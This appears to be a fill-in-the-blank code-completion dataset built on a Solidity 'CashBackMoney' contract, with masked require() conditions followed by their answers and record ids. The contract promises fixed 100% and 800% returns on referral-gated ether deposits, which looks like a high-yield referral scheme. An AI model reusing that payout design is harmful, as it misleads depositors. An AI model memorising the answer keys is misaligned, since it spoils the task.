_amount) internal returns (uint256) { } /** // Sets click referals in staging mode */ function SetRefClickCount(address _address, uint256 _sum, uint256 _count) external onlyInStagingMode { } /** // Sets autoclick owner operations for all amounts in current period in staging mode */ function SetOwnerAutoClickCountAll( uint256 _count1, uint256 _count2, uint256 _count3, uint256 _count4, uint256 _count5, uint256 _count6 ) external onlyInStagingMode { } /** // Sets autoclick referals in staging mode */ function SetRefAutoClickCount( address _address, uint256 _sum, uint256 _period, uint256 _count ) external onlyInStagingMode { } /** // Sets autoclick referals for all amounts in current period in staging mode */ function SetRefAutoClickCountAll( uint256 _count1, uint256 _count2, uint256 _count3, uint256 _count4, uint256 _count5, uint256 _count6 ) external onlyInStagingMode { } /** // Sets subscription referals in staging mode */ function SetRefSubscCount( address _address, uint256 _sum, uint256 _period, uint256 _count ) external onlyInStagingMode { } /** // Sets variables in staging mode */ function SetValues( uint256 _NumberOfParticipants, uint256 _NumberOfClicks, uint256 _NumberOfSubscriptions, uint256 _ProfitPayoutAmount, uint256 _FundBalance ) external onlyInStagingMode { } /** / Return current period */ function GetCurrentPeriod() external view returns (uint256 _period) { } /** / Return fixed period */ function GetFixedPeriod(uint256 _timestamp) external view returns (uint256 _period) { } /** * Returns number of active referals */ function GetAutoClickRefsNumber() external view returns (uint256 number_of_referrals) { } /** * Returns number of active subscribe referals */ function GetSubscribeRefsNumber(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 number_of_referrals) { } /** * Returns subscription investment income based on the number of active referrals */ function GetSubscribeIncome(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 income) { } /** * Returns the end time of a subscription */ function GetSubscribeFinish(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 finish) { } /** * Returns the near future possible withdraw */ function GetSubscribeNearPossiblePeriod(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 timestamp) { } /** * Create referer id (uint256) */ function CreateRefererID(address _referer) internal { } }
RefClickCount[msg.sender][msg.value]>=42,"Pay: not enough referrals"
379,271
RefClickCount[msg.sender][msg.value]>=42
"WithdrawPay: amount has not yet been paid"
pragma solidity ^0.5.10; import "./Agent.sol"; import "./SafeMath.sol"; import "./CashBackMoneyI.sol"; /** * @title CashBackMoney Investing Contract */ contract CashBackMoney is CashBackMoneyI, Agent { using SafeMath for uint256; // Constants uint256 public constant amount1 = 0.05 ether; uint256 public constant amount2 = 0.10 ether; uint256 public constant amount3 = 0.50 ether; uint256 public constant amount4 = 1.00 ether; uint256 public constant amount5 = 5.00 ether; uint256 public constant amount6 = 10.00 ether; uint256 public constant subs_amount1 = 1.00 ether; uint256 public constant subs_amount2 = 5.00 ether; uint256 public constant subs_amount3 = 10.00 ether; uint256 public constant subs_amount_with_fee1 = 1.18 ether; uint256 public constant subs_amount_with_fee2 = 5.90 ether; uint256 public constant subs_amount_with_fee3 = 11.80 ether; uint256 days1 = 1 days; uint256 hours24 = 24 hours; uint256 hours3 = 3 hours; // Variables bool public production = false; uint256 public deploy_block; address payable public reward_account; uint256 public reward; uint256 public start_point; uint256 public NumberOfParticipants = 0; uint256 public NumberOfClicks = 0; uint256 public NumberOfSubscriptions = 0; uint256 public ProfitPayoutAmount = 0; uint256 public FundBalance = 0; uint256 public LastRefererID = 0; // RefererID[referer address] mapping(address => uint256) public RefererID; // RefererAddr[referer ID] mapping(uint256 => address) public RefererAddr; // Referer[Referal address] mapping(address => uint256) public Referer; // Participants[address] mapping(address => bool) public Participants; // OwnerAmountStatus[owner address][payXamount] mapping(address => mapping(uint256 => bool)) public OwnerAmountStatus; // RefClickCount[referer address][payXamount] mapping(address => mapping(uint256 => uint256)) public RefClickCount; // OwnerTotalProfit[owner address] mapping(address => uint256) public OwnerTotalProfit; // RefTotalClicks[referer address] mapping(address => uint256) public RefTotalClicks; // RefTotalIncome[referer address] mapping(address => uint256) public RefTotalIncome; // Balances[address][level][payXamount] mapping(address => mapping(uint256 => mapping(uint256 => bool))) public Balances; // WithdrawDate[address][level][payXamount] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public WithdrawDate; // OwnerAutoClickCount[owner address][msg.value][GetPeriod(now)] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public OwnerAutoClickCount; // RefAutoClickCount[referer address][msg.value][GetPeriod(now)] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public RefAutoClickCount; // AutoBalances[address][payXamount] mapping(address => mapping(uint256 => bool)) public AutoBalances; // WithdrawAutoDate[address][payXamount] mapping(address => mapping(uint256 => uint256)) public WithdrawAutoDate; // Subscriptions[address][payXamount] mapping(address => mapping(uint256 => uint256)) public Subscriptions; // Intermediate[address][payXamount] mapping(address => mapping(uint256 => uint256)) public Intermediate; // RefSubscCount[referer address][payXamount][Period] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public RefSubscCount; // RefSubscStatus[owner address][payXamount][Period] mapping(address => mapping(uint256 => mapping(uint256 => bool))) public RefSubscStatus; // Events event ChangeContractBalance(string text); event ChangeClickRefefalNumbers( address indexed referer, uint256 amount, uint256 number ); event AmountInvestedByPay(address indexed owner, uint256 amount); event AmountInvestedByAutoPay(address indexed owner, uint256 amount); event AmountInvestedBySubscription(address indexed owner, uint256 amount); event AmountWithdrawnFromPay(address indexed owner, uint256 amount); event AmountWithdrawnFromAutoPay(address indexed owner, uint256 amount); event AmountWithdrawnFromSubscription( address indexed owner, uint256 amount ); /** * Contructor */ constructor( address payable _reward_account, uint256 _reward, uint256 _start_point, bool _mode ) public { } modifier onlyFixedAmount(uint256 _amount) { } modifier onlyFixedAmountSubs(uint256 _amount) { } modifier onlyFixedAmountWithdrawSubs(uint256 _amount) { } modifier onlyInStagingMode() { } /** * Pay or Withdraw all possible "pay" amount */ function() external payable { } /** * To replenish the balance of the contract */ function TopUpContract() external payable { } /** * GetPeriod - calculate period for all functions */ function GetPeriod(uint256 _timestamp) internal view returns (uint256 _period) { } /** * Accept payment */ function Pay(uint256 _level, uint256 _refererID) external payable onlyFixedAmount(msg.value) { } /** * Withdraw "pay" sum */ function WithdrawPay(uint256 _level, uint256 _amount) external onlyFixedAmount(_amount) { require(<FILL_ME>) require( now >= WithdrawDate[msg.sender][_level][_amount], "WithdrawPay: time has not come yet" ); Balances[msg.sender][_level][_amount] = false; WithdrawDate[msg.sender][_level][_amount] = 0; uint256 Amount = _amount.add(_amount.perc(100)); msg.sender.transfer(Amount); OwnerTotalProfit[msg.sender] += _amount.perc(100); ProfitPayoutAmount += Amount; emit AmountWithdrawnFromPay(msg.sender, Amount); } /** * Accept payment and its automatic distribution */ function PayAll(uint256 _amount) internal onlyFixedAmount(_amount) { } /** * Withdraw all possible "pay" sum */ function WithdrawPayAll() public { } /** * Accept auto payment */ function AutoPay(uint256 _refererID) external payable onlyFixedAmount(msg.value) { } /** * Withdraw "pay" sum */ function WithdrawAutoPay(uint256 _amount) external onlyFixedAmount(_amount) { } /** * Buy subscription */ function Subscribe(uint256 _refererID) public payable onlyFixedAmountSubs(msg.value) { } /** * Withdraw "subscribe" amount */ function WithdrawSubscribe(uint256 _amount) external onlyFixedAmountWithdrawSubs(_amount) { } /** * Withdraw all possible "subscribe" amount */ function WithdrawSubscribeAll() internal { } /** * Withdraw amount calculation */ function WithdrawAmountCalculate(address _sender, uint256 _amount) internal returns (uint256) { } /** // Sets click referals in staging mode */ function SetRefClickCount(address _address, uint256 _sum, uint256 _count) external onlyInStagingMode { } /** // Sets autoclick owner operations for all amounts in current period in staging mode */ function SetOwnerAutoClickCountAll( uint256 _count1, uint256 _count2, uint256 _count3, uint256 _count4, uint256 _count5, uint256 _count6 ) external onlyInStagingMode { } /** // Sets autoclick referals in staging mode */ function SetRefAutoClickCount( address _address, uint256 _sum, uint256 _period, uint256 _count ) external onlyInStagingMode { } /** // Sets autoclick referals for all amounts in current period in staging mode */ function SetRefAutoClickCountAll( uint256 _count1, uint256 _count2, uint256 _count3, uint256 _count4, uint256 _count5, uint256 _count6 ) external onlyInStagingMode { } /** // Sets subscription referals in staging mode */ function SetRefSubscCount( address _address, uint256 _sum, uint256 _period, uint256 _count ) external onlyInStagingMode { } /** // Sets variables in staging mode */ function SetValues( uint256 _NumberOfParticipants, uint256 _NumberOfClicks, uint256 _NumberOfSubscriptions, uint256 _ProfitPayoutAmount, uint256 _FundBalance ) external onlyInStagingMode { } /** / Return current period */ function GetCurrentPeriod() external view returns (uint256 _period) { } /** / Return fixed period */ function GetFixedPeriod(uint256 _timestamp) external view returns (uint256 _period) { } /** * Returns number of active referals */ function GetAutoClickRefsNumber() external view returns (uint256 number_of_referrals) { } /** * Returns number of active subscribe referals */ function GetSubscribeRefsNumber(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 number_of_referrals) { } /** * Returns subscription investment income based on the number of active referrals */ function GetSubscribeIncome(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 income) { } /** * Returns the end time of a subscription */ function GetSubscribeFinish(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 finish) { } /** * Returns the near future possible withdraw */ function GetSubscribeNearPossiblePeriod(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 timestamp) { } /** * Create referer id (uint256) */ function CreateRefererID(address _referer) internal { } }
Balances[msg.sender][_level][_amount],"WithdrawPay: amount has not yet been paid"
379,271
Balances[msg.sender][_level][_amount]
"AutoPay: amount already paid"
pragma solidity ^0.5.10; import "./Agent.sol"; import "./SafeMath.sol"; import "./CashBackMoneyI.sol"; /** * @title CashBackMoney Investing Contract */ contract CashBackMoney is CashBackMoneyI, Agent { using SafeMath for uint256; // Constants uint256 public constant amount1 = 0.05 ether; uint256 public constant amount2 = 0.10 ether; uint256 public constant amount3 = 0.50 ether; uint256 public constant amount4 = 1.00 ether; uint256 public constant amount5 = 5.00 ether; uint256 public constant amount6 = 10.00 ether; uint256 public constant subs_amount1 = 1.00 ether; uint256 public constant subs_amount2 = 5.00 ether; uint256 public constant subs_amount3 = 10.00 ether; uint256 public constant subs_amount_with_fee1 = 1.18 ether; uint256 public constant subs_amount_with_fee2 = 5.90 ether; uint256 public constant subs_amount_with_fee3 = 11.80 ether; uint256 days1 = 1 days; uint256 hours24 = 24 hours; uint256 hours3 = 3 hours; // Variables bool public production = false; uint256 public deploy_block; address payable public reward_account; uint256 public reward; uint256 public start_point; uint256 public NumberOfParticipants = 0; uint256 public NumberOfClicks = 0; uint256 public NumberOfSubscriptions = 0; uint256 public ProfitPayoutAmount = 0; uint256 public FundBalance = 0; uint256 public LastRefererID = 0; // RefererID[referer address] mapping(address => uint256) public RefererID; // RefererAddr[referer ID] mapping(uint256 => address) public RefererAddr; // Referer[Referal address] mapping(address => uint256) public Referer; // Participants[address] mapping(address => bool) public Participants; // OwnerAmountStatus[owner address][payXamount] mapping(address => mapping(uint256 => bool)) public OwnerAmountStatus; // RefClickCount[referer address][payXamount] mapping(address => mapping(uint256 => uint256)) public RefClickCount; // OwnerTotalProfit[owner address] mapping(address => uint256) public OwnerTotalProfit; // RefTotalClicks[referer address] mapping(address => uint256) public RefTotalClicks; // RefTotalIncome[referer address] mapping(address => uint256) public RefTotalIncome; // Balances[address][level][payXamount] mapping(address => mapping(uint256 => mapping(uint256 => bool))) public Balances; // WithdrawDate[address][level][payXamount] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public WithdrawDate; // OwnerAutoClickCount[owner address][msg.value][GetPeriod(now)] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public OwnerAutoClickCount; // RefAutoClickCount[referer address][msg.value][GetPeriod(now)] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public RefAutoClickCount; // AutoBalances[address][payXamount] mapping(address => mapping(uint256 => bool)) public AutoBalances; // WithdrawAutoDate[address][payXamount] mapping(address => mapping(uint256 => uint256)) public WithdrawAutoDate; // Subscriptions[address][payXamount] mapping(address => mapping(uint256 => uint256)) public Subscriptions; // Intermediate[address][payXamount] mapping(address => mapping(uint256 => uint256)) public Intermediate; // RefSubscCount[referer address][payXamount][Period] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public RefSubscCount; // RefSubscStatus[owner address][payXamount][Period] mapping(address => mapping(uint256 => mapping(uint256 => bool))) public RefSubscStatus; // Events event ChangeContractBalance(string text); event ChangeClickRefefalNumbers( address indexed referer, uint256 amount, uint256 number ); event AmountInvestedByPay(address indexed owner, uint256 amount); event AmountInvestedByAutoPay(address indexed owner, uint256 amount); event AmountInvestedBySubscription(address indexed owner, uint256 amount); event AmountWithdrawnFromPay(address indexed owner, uint256 amount); event AmountWithdrawnFromAutoPay(address indexed owner, uint256 amount); event AmountWithdrawnFromSubscription( address indexed owner, uint256 amount ); /** * Contructor */ constructor( address payable _reward_account, uint256 _reward, uint256 _start_point, bool _mode ) public { } modifier onlyFixedAmount(uint256 _amount) { } modifier onlyFixedAmountSubs(uint256 _amount) { } modifier onlyFixedAmountWithdrawSubs(uint256 _amount) { } modifier onlyInStagingMode() { } /** * Pay or Withdraw all possible "pay" amount */ function() external payable { } /** * To replenish the balance of the contract */ function TopUpContract() external payable { } /** * GetPeriod - calculate period for all functions */ function GetPeriod(uint256 _timestamp) internal view returns (uint256 _period) { } /** * Accept payment */ function Pay(uint256 _level, uint256 _refererID) external payable onlyFixedAmount(msg.value) { } /** * Withdraw "pay" sum */ function WithdrawPay(uint256 _level, uint256 _amount) external onlyFixedAmount(_amount) { } /** * Accept payment and its automatic distribution */ function PayAll(uint256 _amount) internal onlyFixedAmount(_amount) { } /** * Withdraw all possible "pay" sum */ function WithdrawPayAll() public { } /** * Accept auto payment */ function AutoPay(uint256 _refererID) external payable onlyFixedAmount(msg.value) { // If a RefererID is not yet assigned if (RefererID[msg.sender] == 0) { CreateRefererID(msg.sender); } require( RefererID[msg.sender] != _refererID, "AutoPay: you cannot be a referral to yourself" ); require(<FILL_ME>) // If a referrer is not yet installed if ((Referer[msg.sender] == 0) && (_refererID != 0)) { Referer[msg.sender] = _refererID; } // Add to Total & AutoClick if ( (Referer[msg.sender] != 0) && (OwnerAmountStatus[RefererAddr[Referer[msg.sender]]][msg.value]) ) { RefTotalClicks[RefererAddr[Referer[msg.sender]]] += 1; RefTotalIncome[RefererAddr[Referer[msg.sender]]] += msg.value; RefClickCount[RefererAddr[Referer[msg.sender]]][msg.value] += 1; emit ChangeClickRefefalNumbers( RefererAddr[Referer[msg.sender]], msg.value, RefClickCount[RefererAddr[Referer[msg.sender]]][msg.value] ); uint256 Current = GetPeriod(now); uint256 Start = Current - 30; OwnerAutoClickCount[msg.sender][msg.value][Current] += 1; uint256 CountOp = 0; for (uint256 k = Start; k < Current; k++) { CountOp += OwnerAutoClickCount[msg.sender][msg.value][k]; } if (CountOp >= 30) { RefAutoClickCount[RefererAddr[Referer[msg.sender]]][msg .value][Current] += 1; } } uint256 Current = GetPeriod(now); uint256 Start = Current - 30; uint256 Count1 = 0; uint256 Count2 = 0; uint256 Count3 = 0; uint256 Count4 = 0; uint256 Count5 = 0; uint256 Count6 = 0; for (uint256 k = Start; k < Current; k++) { Count1 += RefAutoClickCount[msg.sender][amount1][k]; Count2 += RefAutoClickCount[msg.sender][amount2][k]; Count3 += RefAutoClickCount[msg.sender][amount3][k]; Count4 += RefAutoClickCount[msg.sender][amount4][k]; Count5 += RefAutoClickCount[msg.sender][amount5][k]; Count6 += RefAutoClickCount[msg.sender][amount6][k]; } // Only when every slot >= 63 require(Count1 > 62, "AutoPay: not enough autoclick1 referrals"); require(Count2 > 62, "AutoPay: not enough autoclick2 referrals"); require(Count3 > 62, "AutoPay: not enough autoclick3 referrals"); require(Count4 > 62, "AutoPay: not enough autoclick4 referrals"); require(Count5 > 62, "AutoPay: not enough autoclick5 referrals"); require(Count6 > 62, "AutoPay: not enough autoclick6 referrals"); AutoBalances[msg.sender][msg.value] = true; WithdrawAutoDate[msg.sender][msg.value] = now.add(hours24); reward_account.transfer(msg.value.perc(reward)); if (!Participants[msg.sender]) { Participants[msg.sender] = true; NumberOfParticipants += 1; } FundBalance += msg.value.perc(reward); NumberOfClicks += 1; emit AmountInvestedByAutoPay(msg.sender, msg.value); } /** * Withdraw "pay" sum */ function WithdrawAutoPay(uint256 _amount) external onlyFixedAmount(_amount) { } /** * Buy subscription */ function Subscribe(uint256 _refererID) public payable onlyFixedAmountSubs(msg.value) { } /** * Withdraw "subscribe" amount */ function WithdrawSubscribe(uint256 _amount) external onlyFixedAmountWithdrawSubs(_amount) { } /** * Withdraw all possible "subscribe" amount */ function WithdrawSubscribeAll() internal { } /** * Withdraw amount calculation */ function WithdrawAmountCalculate(address _sender, uint256 _amount) internal returns (uint256) { } /** // Sets click referals in staging mode */ function SetRefClickCount(address _address, uint256 _sum, uint256 _count) external onlyInStagingMode { } /** // Sets autoclick owner operations for all amounts in current period in staging mode */ function SetOwnerAutoClickCountAll( uint256 _count1, uint256 _count2, uint256 _count3, uint256 _count4, uint256 _count5, uint256 _count6 ) external onlyInStagingMode { } /** // Sets autoclick referals in staging mode */ function SetRefAutoClickCount( address _address, uint256 _sum, uint256 _period, uint256 _count ) external onlyInStagingMode { } /** // Sets autoclick referals for all amounts in current period in staging mode */ function SetRefAutoClickCountAll( uint256 _count1, uint256 _count2, uint256 _count3, uint256 _count4, uint256 _count5, uint256 _count6 ) external onlyInStagingMode { } /** // Sets subscription referals in staging mode */ function SetRefSubscCount( address _address, uint256 _sum, uint256 _period, uint256 _count ) external onlyInStagingMode { } /** // Sets variables in staging mode */ function SetValues( uint256 _NumberOfParticipants, uint256 _NumberOfClicks, uint256 _NumberOfSubscriptions, uint256 _ProfitPayoutAmount, uint256 _FundBalance ) external onlyInStagingMode { } /** / Return current period */ function GetCurrentPeriod() external view returns (uint256 _period) { } /** / Return fixed period */ function GetFixedPeriod(uint256 _timestamp) external view returns (uint256 _period) { } /** * Returns number of active referals */ function GetAutoClickRefsNumber() external view returns (uint256 number_of_referrals) { } /** * Returns number of active subscribe referals */ function GetSubscribeRefsNumber(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 number_of_referrals) { } /** * Returns subscription investment income based on the number of active referrals */ function GetSubscribeIncome(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 income) { } /** * Returns the end time of a subscription */ function GetSubscribeFinish(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 finish) { } /** * Returns the near future possible withdraw */ function GetSubscribeNearPossiblePeriod(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 timestamp) { } /** * Create referer id (uint256) */ function CreateRefererID(address _referer) internal { } }
!AutoBalances[msg.sender][msg.value],"AutoPay: amount already paid"
379,271
!AutoBalances[msg.sender][msg.value]
"WithdrawAutoPay: autoclick amount has not yet been paid"
pragma solidity ^0.5.10; import "./Agent.sol"; import "./SafeMath.sol"; import "./CashBackMoneyI.sol"; /** * @title CashBackMoney Investing Contract */ contract CashBackMoney is CashBackMoneyI, Agent { using SafeMath for uint256; // Constants uint256 public constant amount1 = 0.05 ether; uint256 public constant amount2 = 0.10 ether; uint256 public constant amount3 = 0.50 ether; uint256 public constant amount4 = 1.00 ether; uint256 public constant amount5 = 5.00 ether; uint256 public constant amount6 = 10.00 ether; uint256 public constant subs_amount1 = 1.00 ether; uint256 public constant subs_amount2 = 5.00 ether; uint256 public constant subs_amount3 = 10.00 ether; uint256 public constant subs_amount_with_fee1 = 1.18 ether; uint256 public constant subs_amount_with_fee2 = 5.90 ether; uint256 public constant subs_amount_with_fee3 = 11.80 ether; uint256 days1 = 1 days; uint256 hours24 = 24 hours; uint256 hours3 = 3 hours; // Variables bool public production = false; uint256 public deploy_block; address payable public reward_account; uint256 public reward; uint256 public start_point; uint256 public NumberOfParticipants = 0; uint256 public NumberOfClicks = 0; uint256 public NumberOfSubscriptions = 0; uint256 public ProfitPayoutAmount = 0; uint256 public FundBalance = 0; uint256 public LastRefererID = 0; // RefererID[referer address] mapping(address => uint256) public RefererID; // RefererAddr[referer ID] mapping(uint256 => address) public RefererAddr; // Referer[Referal address] mapping(address => uint256) public Referer; // Participants[address] mapping(address => bool) public Participants; // OwnerAmountStatus[owner address][payXamount] mapping(address => mapping(uint256 => bool)) public OwnerAmountStatus; // RefClickCount[referer address][payXamount] mapping(address => mapping(uint256 => uint256)) public RefClickCount; // OwnerTotalProfit[owner address] mapping(address => uint256) public OwnerTotalProfit; // RefTotalClicks[referer address] mapping(address => uint256) public RefTotalClicks; // RefTotalIncome[referer address] mapping(address => uint256) public RefTotalIncome; // Balances[address][level][payXamount] mapping(address => mapping(uint256 => mapping(uint256 => bool))) public Balances; // WithdrawDate[address][level][payXamount] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public WithdrawDate; // OwnerAutoClickCount[owner address][msg.value][GetPeriod(now)] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public OwnerAutoClickCount; // RefAutoClickCount[referer address][msg.value][GetPeriod(now)] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public RefAutoClickCount; // AutoBalances[address][payXamount] mapping(address => mapping(uint256 => bool)) public AutoBalances; // WithdrawAutoDate[address][payXamount] mapping(address => mapping(uint256 => uint256)) public WithdrawAutoDate; // Subscriptions[address][payXamount] mapping(address => mapping(uint256 => uint256)) public Subscriptions; // Intermediate[address][payXamount] mapping(address => mapping(uint256 => uint256)) public Intermediate; // RefSubscCount[referer address][payXamount][Period] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public RefSubscCount; // RefSubscStatus[owner address][payXamount][Period] mapping(address => mapping(uint256 => mapping(uint256 => bool))) public RefSubscStatus; // Events event ChangeContractBalance(string text); event ChangeClickRefefalNumbers( address indexed referer, uint256 amount, uint256 number ); event AmountInvestedByPay(address indexed owner, uint256 amount); event AmountInvestedByAutoPay(address indexed owner, uint256 amount); event AmountInvestedBySubscription(address indexed owner, uint256 amount); event AmountWithdrawnFromPay(address indexed owner, uint256 amount); event AmountWithdrawnFromAutoPay(address indexed owner, uint256 amount); event AmountWithdrawnFromSubscription( address indexed owner, uint256 amount ); /** * Contructor */ constructor( address payable _reward_account, uint256 _reward, uint256 _start_point, bool _mode ) public { } modifier onlyFixedAmount(uint256 _amount) { } modifier onlyFixedAmountSubs(uint256 _amount) { } modifier onlyFixedAmountWithdrawSubs(uint256 _amount) { } modifier onlyInStagingMode() { } /** * Pay or Withdraw all possible "pay" amount */ function() external payable { } /** * To replenish the balance of the contract */ function TopUpContract() external payable { } /** * GetPeriod - calculate period for all functions */ function GetPeriod(uint256 _timestamp) internal view returns (uint256 _period) { } /** * Accept payment */ function Pay(uint256 _level, uint256 _refererID) external payable onlyFixedAmount(msg.value) { } /** * Withdraw "pay" sum */ function WithdrawPay(uint256 _level, uint256 _amount) external onlyFixedAmount(_amount) { } /** * Accept payment and its automatic distribution */ function PayAll(uint256 _amount) internal onlyFixedAmount(_amount) { } /** * Withdraw all possible "pay" sum */ function WithdrawPayAll() public { } /** * Accept auto payment */ function AutoPay(uint256 _refererID) external payable onlyFixedAmount(msg.value) { } /** * Withdraw "pay" sum */ function WithdrawAutoPay(uint256 _amount) external onlyFixedAmount(_amount) { require(<FILL_ME>) require( now >= WithdrawAutoDate[msg.sender][_amount], "WithdrawAutoPay: autoclick time has not come yet" ); AutoBalances[msg.sender][_amount] = false; WithdrawAutoDate[msg.sender][_amount] = 0; uint256 Amount = _amount.add(_amount.perc(800)); msg.sender.transfer(Amount); OwnerTotalProfit[msg.sender] += _amount.perc(800); ProfitPayoutAmount += Amount; emit AmountWithdrawnFromAutoPay(msg.sender, Amount); } /** * Buy subscription */ function Subscribe(uint256 _refererID) public payable onlyFixedAmountSubs(msg.value) { } /** * Withdraw "subscribe" amount */ function WithdrawSubscribe(uint256 _amount) external onlyFixedAmountWithdrawSubs(_amount) { } /** * Withdraw all possible "subscribe" amount */ function WithdrawSubscribeAll() internal { } /** * Withdraw amount calculation */ function WithdrawAmountCalculate(address _sender, uint256 _amount) internal returns (uint256) { } /** // Sets click referals in staging mode */ function SetRefClickCount(address _address, uint256 _sum, uint256 _count) external onlyInStagingMode { } /** // Sets autoclick owner operations for all amounts in current period in staging mode */ function SetOwnerAutoClickCountAll( uint256 _count1, uint256 _count2, uint256 _count3, uint256 _count4, uint256 _count5, uint256 _count6 ) external onlyInStagingMode { } /** // Sets autoclick referals in staging mode */ function SetRefAutoClickCount( address _address, uint256 _sum, uint256 _period, uint256 _count ) external onlyInStagingMode { } /** // Sets autoclick referals for all amounts in current period in staging mode */ function SetRefAutoClickCountAll( uint256 _count1, uint256 _count2, uint256 _count3, uint256 _count4, uint256 _count5, uint256 _count6 ) external onlyInStagingMode { } /** // Sets subscription referals in staging mode */ function SetRefSubscCount( address _address, uint256 _sum, uint256 _period, uint256 _count ) external onlyInStagingMode { } /** // Sets variables in staging mode */ function SetValues( uint256 _NumberOfParticipants, uint256 _NumberOfClicks, uint256 _NumberOfSubscriptions, uint256 _ProfitPayoutAmount, uint256 _FundBalance ) external onlyInStagingMode { } /** / Return current period */ function GetCurrentPeriod() external view returns (uint256 _period) { } /** / Return fixed period */ function GetFixedPeriod(uint256 _timestamp) external view returns (uint256 _period) { } /** * Returns number of active referals */ function GetAutoClickRefsNumber() external view returns (uint256 number_of_referrals) { } /** * Returns number of active subscribe referals */ function GetSubscribeRefsNumber(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 number_of_referrals) { } /** * Returns subscription investment income based on the number of active referrals */ function GetSubscribeIncome(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 income) { } /** * Returns the end time of a subscription */ function GetSubscribeFinish(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 finish) { } /** * Returns the near future possible withdraw */ function GetSubscribeNearPossiblePeriod(uint256 _amount) external view onlyFixedAmount(_amount) returns (uint256 timestamp) { } /** * Create referer id (uint256) */ function CreateRefererID(address _referer) internal { } }
AutoBalances[msg.sender][_amount],"WithdrawAutoPay: autoclick amount has not yet been paid"
379,271
AutoBalances[msg.sender][_amount]
"Subscribe: subscription already paid"
pragma solidity ^0.5.10; import "./Agent.sol"; import "./SafeMath.sol"; import "./CashBackMoneyI.sol"; /** * @title CashBackMoney Investing Contract */ contract CashBackMoney is CashBackMoneyI, Agent { using SafeMath for uint256; // Constants uint256 public constant amount1 = 0.05 ether; uint256 public constant amount2 = 0.10 ether; uint256 public constant amount3 = 0.50 ether; uint256 public constant amount4 = 1.00 ether; uint256 public constant amount5 = 5.00 ether; uint256 public constant amount6 = 10.00 ether; uint256 public constant subs_amount1 = 1.00 ether; uint256 public constant subs_amount2 = 5.00 ether; uint256 public constant subs_amount3 = 10.00 ether; uint256 public constant subs_amount_with_fee1 = 1.18 ether; uint256 public constant subs_amount_with_fee2 = 5.90 ether; uint256 public constant subs_amount_with_fee3 = 11.80 ether; uint256 days1 = 1 days; uint256 hours24 = 24 hours; uint256 hours3 = 3 hours; // Variables bool public production = false; uint256 public deploy_block; address payable public reward_account; uint256 public reward; uint256 public start_point; uint256 public NumberOfParticipants = 0; uint256 public NumberOfClicks = 0; uint256 public NumberOfSubscriptions = 0; uint256 public ProfitPayoutAmount = 0; uint256 public FundBalance = 0; uint256 public LastRefererID = 0; // RefererID[referer address] mapping(address => uint256) public RefererID; // RefererAddr[referer ID] mapping(uint256 => address) public RefererAddr; // Referer[Referal address] mapping(address => uint256) public Referer; // Participants[address] mapping(address => bool) public Participants; // OwnerAmountStatus[owner address][payXamount] mapping(address => mapping(uint256 => bool)) public OwnerAmountStatus; // RefClickCount[referer address][payXamount] mapping(address => mapping(uint256 => uint256)) public RefClickCount; // OwnerTotalProfit[owner address] mapping(address => uint256) public OwnerTotalProfit; // RefTotalClicks[referer address] mapping(address => uint256) public RefTotalClicks; // RefTotalIncome[referer address] mapping(address => uint256) public RefTotalIncome; // Balances[address][level][payXamount] mapping(address => mapping(uint256 => mapping(uint256 => bool))) public Balances; // WithdrawDate[address][level][payXamount] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public WithdrawDate; // OwnerAutoClickCount[owner address][msg.value][GetPeriod(now)] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public OwnerAutoClickCount; // RefAutoClickCount[referer address][msg.value][GetPeriod(now)] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public RefAutoClickCount; // AutoBalances[address][payXamount] mapping(address => mapping(uint256 => bool)) public AutoBalances; // WithdrawAutoDate[address][payXamount] mapping(address => mapping(uint256 => uint256)) public WithdrawAutoDate; // Subscriptions[address][payXamount] mapping(address => mapping(uint256 => uint256)) public Subscriptions; // Intermediate[address][payXamount] mapping(address => mapping(uint256 => uint256)) public Intermediate; // RefSubscCount[referer address][payXamount][Period] mapping(address => mapping(uint256 => mapping(uint256 => uint256))) public RefSubscCount; // RefSubscStatus[owner address][payXamount][Period] mapping(address => mapping(uint256 => mapping(uint256 => bool))) public RefSubscStatus; // Events event ChangeContractBalance(string text); event ChangeClickRefefalNumbers( address indexed referer, uint256 amount, uint256 number ); event AmountInvestedByPay(address indexed owner, uint256 amount); event AmountInvestedByAutoPay(address indexed owner, uint256 amount); event AmountInvestedBySubscription(address indexed owner, uint256 amount); event AmountWithdrawnFromPay(address indexed owner, uint256 amount); event AmountWithdrawnFromAutoPay(address indexed owner, uint256 amount); event AmountWithdrawnFromSubscription( address indexed owner, uint256 amount ); /** * Contructor */ constructor( address payable _reward_account, uint256 _reward, uint256 _start_point, bool _mode ) public { } modifier onlyFixedAmount(uint256 _amount) { } modifier onlyFixedAmountSubs(uint256 _amount) { } modifier onlyFixedAmountWithdrawSubs(uint256 _amount) { } modifier onlyInStagingMode() { } /** * Pay or Withdraw all possible "pay" amount */ function() external payable { } /** * To replenish the balance of the contract */ function TopUpContract() external payable { } /** * GetPeriod - calculate period for all functions */ function GetPeriod(uint256 _timestamp) internal view returns (uint256 _period) { 